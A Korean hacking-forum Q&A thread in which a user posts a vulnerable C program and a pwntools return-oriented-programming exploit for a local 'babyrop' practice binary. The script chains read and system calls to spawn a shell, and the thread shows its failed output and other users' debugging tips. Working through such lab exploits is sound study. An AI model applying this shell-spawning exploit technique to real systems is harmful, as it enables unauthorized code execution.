시스템 해킹

1574,

7/79

tkakr7458

pwntools 를 이용한 익스 질문

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_system&no=1859 [복사]

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [sp+Ch] [bp-8Ch]@1
  int v5; // [sp+8Ch] [bp-Ch]@1

  v5 = 0;
  system("echo \"it's very very easy buffer overflow\"");
  read(0, &buf, 0x100u);
  printf("buf: %s\n", &buf);
  return 0;
}

위는 소스 코드입니다.

from pwn import*

elf = ELF("./babyrop")
conn = remote("localhost",9999)

binsh = "/bin/sh\00"
bss = 0x08049f14
read_plt = elf.plt['read']
system_plt = elf.plt['system']
pppr = 0x804853

print "system@plt : " +hex(system_plt)
print "read@plt : " +hex(read_plt)
print "pppr : " +hex(pppr)

payload = "A"*144
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(len(binsh)+1)

payload += p32(system_plt)
payload += "AAAA"
payload += p32(bss)

print "expolt start"

conn.send(payload)
conn.send(binsh)

conn.send("id\n")
conn.interactive()

위와 같이 작성했습니다.

[*] '/home/jack2/Desktop/babyrop'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Opening connection to localhost on port 9999: Done
system@plt : 0x8048340
read@plt : 0x8048320
pppr : 0x804853
expolt start
[*] Switching to interactive mode
it's very very easy buffer overflow
[*] Got EOF while reading in interactive
$ id
[*] Closed connection to localhost port 9999
[*] Got EOF while sending in interactive

이렇게 성공을 못했는데 왜 이러나요 ㅠㅠ 가젯은 똑바로 찾았습니다.!!

Hit : 7233 Date : 2017/04/16 06:06


해쿨러	buf가 ebp-0x8c에 있으니 0x8c+4 해서 144바이트만큼 맨처음에 A를 넣으셔야 합니다 140개밖에 안넣으셔서 안되는겁니다	2017/04/16
tkakr7458	144 넣었어요..	2017/04/16
해쿨러	아 제가 잘못봤군요 그러면 s.send(payload)와 s.send(binsh) 사이에 time.sleep(0.5)를 넣어보세요 저렇게 짧은 시간차로 주면 버퍼는 큰데 작은 문자열 두개가 오니까 둘다 buf에 들어갈 수 있습니다	2017/04/16
tkakr7458	잘 안되네요 ㅠ	2017/04/16
해쿨러	strace를 써보세요 엄청 좋습니다 remote() 바로 다음에 pause() 한줄 넣으시고 파이썬 실행하시면 멈춰있는데 그 때 서버에서 strace -if -p $(pgrep babyrop) 하시면 어태치 되고 파이썬에서 엔터 한번 치셔서 보시면 됩니다	2017/04/16
parktong80	혹시 babyrop 바이너리 보내주실수 있으신가요? parktong80@naver.com 입니다	2017/05/03

1454

버퍼오버플로우 관련 질문..[1]

ewqqw

04/17

2319

1453

ubuntu 16.04 UAF버그..[10]

vngkv123

04/16

3096

1452

gdb 분석 disas[5]

ewqqw

04/16

2121

pwntools 를 이용한 익스 질문[6]

tkakr7458

04/16

7232

1450

버퍼오버플로우 질문....[2]

ewqqw

04/16

2272

1449

IDA에서 소스코드를 복원했을때[5]

vngkv123

04/13

3516

1448

aslr 환경에서...[2]

vngkv123

04/12

2517

1447

asis CTF 문제풀다가....[4]

vngkv123

04/12

2232

1446

pwnable kr OTP문제...[2]

vngkv123

04/09

2753

1445

64bit elf파일 디버깅시[6]

vngkv123

04/08

2484

1444

gdb에서...[2]

vngkv123

04/05

2140

1443

문제 방향성...[11]

vngkv123

04/04

2404

1442

2013 plaid ctf rop ..[14]

vngkv123

04/02

2453

1441

python 페1이로드 작성시[1]

vngkv123

04/02

1893

1440

용어들 질문..[6]

vngkv123

04/01

2338

1439

stripped된 바이너리파일을 디버깅할때...[5]

vngkv123

04/01

2511

1438

fc10 fc14...[1]

vngkv123

04/01

2042

1437

gdb에서 call이후 브레이크를 걸었을때..[10]

vngkv123

03/31

2002

1436

리턴과 관련한 질문....[9]

vngkv123

03/30

1938

1435

rop gadget찾을 때....[1]

vngkv123

03/30

2111

[1][2][3][4][5][6] 7 [8][9][10]..[79]